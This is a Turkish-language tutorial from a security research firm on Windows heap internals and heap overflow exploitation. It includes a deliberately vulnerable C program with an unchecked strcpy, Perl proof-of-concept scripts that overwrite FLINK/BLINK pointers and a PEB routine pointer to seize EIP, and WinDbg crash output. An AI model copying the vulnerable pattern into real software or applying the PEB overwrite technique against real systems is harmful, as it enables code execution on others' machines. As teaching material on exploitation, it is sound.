Heap, Overflows and Exploitation Celil ÜNÜVER SignalSEC Research www.signalsec.com cunuver[at]signalsec.com Bu yazıda Heap overflow hatalarını ve exploiting yöntemlerini ele alacagız. Daha once bu konuda herhangi bir Türkçe kaynağa rastlamadığımız için böyle bir makale hazırlamanın yerel community'ye katkı sağlayacagını düşündük. Vakit buldukça bu konuyu geliştirmeyi planlıyoruz. Heap Overflow Exploiting konusunu sırasıyla PEB , UEH ve Heap Spray yöntemlerine değinerek bir yazı dizisi halinde ele alacağız. Umarım keyifli bir yazı dizisi ortaya çıkar. Şimdi öncelikle Heap structureini yapısını tanımakla ise başlayalım. Bu konuyu kısa tutup, işin pratik kısmına biran önce geçeceğiz ancak heap'in yapısını anlamanız size fayda sağlar. Bu sebeple Advanced Windows Debugging kitabini okumanızı şiddetle tavsiye ediyorum. Bize lazım olacak alet çantasını; -Windbg veya ImmunityDebugger -Perl veya Python Olarak sıralayabiliriz. Heap nedir dersek, programların dinamik bellek ihtiyacını karşılayan hafıza alanlarıdır. Heap'de uygulama hafıza alanına ihtiyacı olduğunda `dinamik` olarak tahsis (allocate) ve free edebilir. Bu tarz konuları somut bir örnek haline getirmek biraz zor oluyor ancak kafanızda canlanması açısından şöyle düşünebilirsiniz, heap kutularla dolu bir oda. Ve siz istediğiniz kutuyu ihtiyacınız olduğunda alıp kullanıp, işiniz bittiğinde tekrar odaya geri koyuyorsunuz. Kutuyu alma işlemine allocation diyoruz (malloc , heapalloc vb fonksiyonlar ile), yani hafıza ayırıyoruz.Kullandıktan sonra tekrar geri vermeye de free islemi diyoruz. Yani odadan kendimize bir hafıza alıyoruz kullanıyoruz ve işimiz bittiğinde geri bırakıyoruz (free). Peki ayni alanı birden fazla free edersek ne olur? Böyle hatalara Double Free diyoruz, bir heap corruption açığı türü. Sistemde -ceteris paribus- kod çalıştırmaya sebep olabilecek hatalardandır. Windows mimarisinde, işletim sisteminden bellek istemenin-tahsis etmenin birden fazla yolu vardır. (Standart C fonksiyonları vb.) Aşağıdaki resimde Windows işletim sisteminin bellek yönetim yapısını görebilirsiniz. Figure 6.1* - Windows Memory Management Şekilde windows işletim sisteminin hafıza yönetim yapısını gördünüz. En nihayetinde işletim sistemi bizi virtual memory'ye yönlendirmekte. Kullandığımız c kütüphaneleri (malloc vb.) NTDLL Heap API leri araciligiyla virtual memory ye yönlenmekte. Simdi Windows Heap Manager a göz atalım ve Front End Allocator (LookAside List ve Low Fragmentation) yapısını inceleyelim. Figure 6.2* Heap Manager Front End Allocator, heap yönetiminde back end allocator ile bağlantıyı sağlayan bir optimizasyon katmanı diyebiliriz. Windows sistemlerde 2 adet front end allocator bulunmakta; 1-) Look aside list 2-) Low Fragmentation Vista'ya kadar bütün windows işletim sistemlerinde default olarak Look aside list kullanılmaktaydı. Vista ve Windows 7de ise default olarak Low Fragmentation kullanılmakta. Vista ve Windows 7 için hala bir heap overflow exploiti göremediyseniz, sebebi iste bu :) (Tabi browser tabanlı heap exploitleri dışında) En son Low Fragmentation Heap ve exploiting senaryoları hakkında bir kaç çalışma paylaşıldı, ilgilenenler kaynakçadan dökümanlara ulaşabilir. Look aside list ile devam edelim. Hafızada bellek tahsis ederken işletim sistemi, bunu Lookaside List sistemini kullanarak yapıyor. Look aside list resimde gördüğünüz gibi 128 adet bagli listeden (linked list) oluşan bir tablodur. Tablodaki her bir bağlı liste belli uzunlukta (16'dan 1024 byte'a kadar) bos bölgeleri (free heap blocks) tutar. Figure 6,2’de gördüğünüz, Sıfır ile gösterilen bölge kullanılmaz. Her bir heap block 8bytelik bir metadata içerir. Yani eğer tahsis işlemi yaparken istenilen alan 24byte ise , bu istek Front End Allocator'a ulaştığında, Front End Allocator tabloda 32 bytelik bir heap block bölgesini (24byte istenilen alan + 8byte Metadata) tutan bağlı listeyi arar. Eğer 32 bytelik alan uygun ise -bu alan 3. bağlı listeye denk gelmekte- tahsis işlemi gerçekleşir. İşimiz bittiğinde kullandığımız alanı free() ederek iste bu 3. bagli listedeki 32 bytelik alani heap manager tekrar yerine geri koyar. Gelen “n” bytelik bellek tahsis isteğini tablodaki kaçıncı indexe göndereceğini n+8/8-1 seklinde formule edebiliriz. Figure 6.2 - Lookaside Table Yukarıdaki figure bakalım ve uygulamamızın 16bytelik bir bellek tahsis isteğinde bulunduğunu farzedelim. 16+8 = 24 bytelik alana ihtiyac var. Heap Manager 16+8/8-1 formülüyle 2. listeye bakacak ve uygun bir alan olmadığını görünce bu allocation işlemini Look aside Listden karşılayamayacak ve bu tahsis işlemini Back end allocator a yönlendirecek. Figure 6.3 - Free Lists Back end allocator, front end allocator yapısına benzer free list adlı listelerden oluşan bir tablodur. Free Listler belirli bir heapdeki uygun heap bloklarını takip eder ve bilgisini tutar. Back end allocator’a istek geldiğinde, heap manager free listlere danışarak gerekli tahsis işlemlerini gerçekleştirir. Bu işlemi free list bitmapleriyle gerçekleştirir. 128 bitden oluşan Bitmapler, free heap block içeriyorsa 1, içermiyorsa 0’dan oluşur. Aşağıdaki resimde freelist bitmap örneğini görebilirsiniz. Figure 6.5 - Freelist Bitmap Figure 6.4 ve 6.5 birbiriyle uyumlu. Backend allocator’a 8bytelık tahsis isteği geldiğinde (8+8=16) , heap manager freelist bitmapde 2. indexe bakar *freelist2’de 16bytelık free heap blokları mevcut olduğundan, bitmapdeki 2.index görüldüğü gibi “1” değerini içermektedir.+ ve tahsis işlemini gerçekleştirir. Ayrıca Freelist yapısında Flink ve Blink adında iki adet pointer bulunmaktadır. Bu pointerlar bir önceki allocation işleminde ve bir sonraki gerçekleşecek allocation işleminde kullanılan free blockların bilgisini tutar. İşte heap overflow hatalarında biz bu pointerların üzerine yazabiliyorsak, “arbitrary dword overwrite” durumu oluşabilir ve pointerlar üzerinden cpu registerlarını kontrol edebiliriz. Sonuç olarak programın akışını değiştirebilme imkanı elde ederiz. (pwned!) Şimdi örnek bir heap overflow zafiyeti barındıran programımızla işe devam edelim; #include <stdio.h> #include <windows.h> int main(int argc,char *argv[]) { char *a,*b,*c; long hHeap; if(argc < 2) { printf("Usage:heap argument\n"); exit(1); } hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS,5000,9000); a = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,10); b = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,10); c = HeapAlloc(hHeap,HEAP_ZERO_MEMORY,500); strcpy(c,argv[1]); /* !overflow HeapFree(hHeap,0,c); HeapFree(hHeap,0,b); HeapFree(hHeap,0,a); HeapDestroy(hHeap); } 500byte dan fazla argüman girdiğimizde program crash olmakta. Kaynak kodda sebebi görülebilir. Açığı tetikleyen örnek perl kodu aşağıdaki tabloda görülebilir; $data = "A" x 512; $ecx = "BBBB"; $eax = "CCCC"; $buffer = $data.$ecx.$eax; system("heap.exe", "$buffer"); 512 byte’den sonra EAX ve ECX registerlarını overwrite edebiliyoruz. Crash meydana geldiğindeki register değerleri aşağıdaki gibidir; eax=43434343 ebx=003f0000 ecx=42424242 edx=003f08b0 esi=003f08b0 edi=00000008 eip=77f5234c esp=0022fce4 ebp=0022ff08 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\System32\ntdll.dll ntdll!stricmp+0x28c: 77f5234c 8908 mov dword ptr [eax],ecx ds:0023:43434343=???????? 0:000> u ntdll!stricmp+0x28c: 77f5234c 8908 mov dword ptr [eax],ecx 77f5234e 894104 mov dword ptr [ecx+4],eax Aslında burda FLINK ve BLINK pointerlarına yazmış oluyoruz. Bu durumu görmek için !heap modülüyle freelistlerin offsetine bakalım. !heap , !peb vb. komutları kullanmanız için işletim sisteminizin debug symbollerini yüklemeyi unutmayın. 0:000> !heap -h 3f0000 -f Index Address Name Debugging options enabled 5: 003f0000 Segment at 003f0000 to 003f3000 (00002000 bytes committed) Flags: 00001004 ForceFlags: 00000004 Granularity: 8 bytes Segment Reserve: 00100000 Segment Commit: 00002000 DeCommit Block Thres: 00000200 DeCommit Total Thres: 00002000 Total Free Size: 000002ea Max. Allocation Size: 7ffdefff Lock Variable at: 003f0608 Next TagIndex: 0000 Maximum TagIndex: 0000 Tag Entries: 00000000 PsuedoTag Entries: 00000000 Virtual Alloc List: 003f0050 UCR FreeList: 003f0598 FreeList Usage: 00000000 00000000 00000000 00000000 FreeList[ 00 ] at 003f0178: 003f08b8 . 003f08b8 !heap debugger ciktisi 0:000> dd 003f08b8 003f08b8 42424242 43434343 00000000 00000000 003f08c8 00000000 00000000 00000000 00000000 003f08d8 00000000 00000000 00000000 00000000 003f08e8 00000000 00000000 00000000 00000000 003f08f8 00000000 00000000 00000000 00000000 003f0908 00000000 00000000 00000000 00000000 003f0918 00000000 00000000 00000000 00000000 003f0928 00000000 00000000 00000000 00000000 FLINK ve BLINK gördüğünüz gibi overwrite edilmiş durumda. Bu durumda ECX = BLINK ve EAX = FLINK diyebiliriz. PEB yöntemiyle EIP da nasıl kontrol kazanacağımızı gösterelim. 0:000> .symfix 0:000> .reload Reloading current modules ...... 0:000> !peb PEB at 7ffdf000 … 0:000> dt ntdll!_PEB 7ffdf000 +0x000 InheritedAddressSpace : 0 '' +0x001 ReadImageFileExecOptions : 0 '' +0x002 BeingDebugged : 0x1 '' +0x003 SpareBool : 0 '' +0x004 Mutant : 0xffffffff +0x008 ImageBaseAddress : 0x00400000 +0x00c Ldr : 0x00341e90 _PEB_LDR_DATA +0x010 ProcessParameters : 0x00020000 _RTL_USER_PROCESS_PARAMETERS +0x014 SubSystemData : (null) +0x018 ProcessHeap : 0x00240000 +0x01c FastPebLock : 0x77fc4d80 _RTL_CRITICAL_SECTION +0x020 FastPebLockRoutine : 0x77f755de +0x024 FastPebUnlockRoutine : 0x77f75690 7ffdf000 + 0x024 = 7ffdf024 = FastPebUnlockRoutine. $data = "\xcc" x 512; $ecx = "\x41\x41\x41\x41"; $eax = "\x24\xf0\xfd\x7f"; $buffer = $data.$ecx.$eax.$data2; system("heap.exe", "$buffer"); Burda Perl kodumuz buffer’ı overflow edip, EAX yani FLINK pointer’ına FastPebUnlockRoutine’in adresini yazıyor. Bu sayede exception yaratıp , ExitProcess çağırmış oluyoruz. Ve bingo! Sonuç; EIP register’ını kontrol edebiliyoruz. Artık programın akışını istediğiniz gibi değiştirebilirsiniz, shellcode’a zıplayıp sistemde istediğiniz kodu çalıştırabilirsiniz (404.72c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=7ffdf000 ebx=00000000 ecx=00000000 edx=77f79bdf esi=00000003 edi=00000000 eip=41414141 esp=0022df08 ebp=0022e830 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 41414141 ?? ??? Kaynaklar: *Figure 6.1 ve 6.2 resimleri Advanced Windows Debugging kitabından alınmıştır. *Figure 6.1 and 6.2 images are from Advanced Windows Debugging. Understanding the Low Fragmentation Heap, Chris Valasek - http://illmatics.com/Understanding_the_LFH.pdf Modern Heap Exploitation using the Low Fragmentation Heap , Chris Valasek Advanced Windows Debugging, Mario Hewardt, Daniel Pravat - http://advancedwindowsdebugging.com Windows Mobile Double Free Vulnerability : http://blog.signalsec.com/?p=21 AOL 9.5 ActiveX Heap Corruption Vuln: http://www.signalsec.com/advisory.htm The Shellcoder's Handbook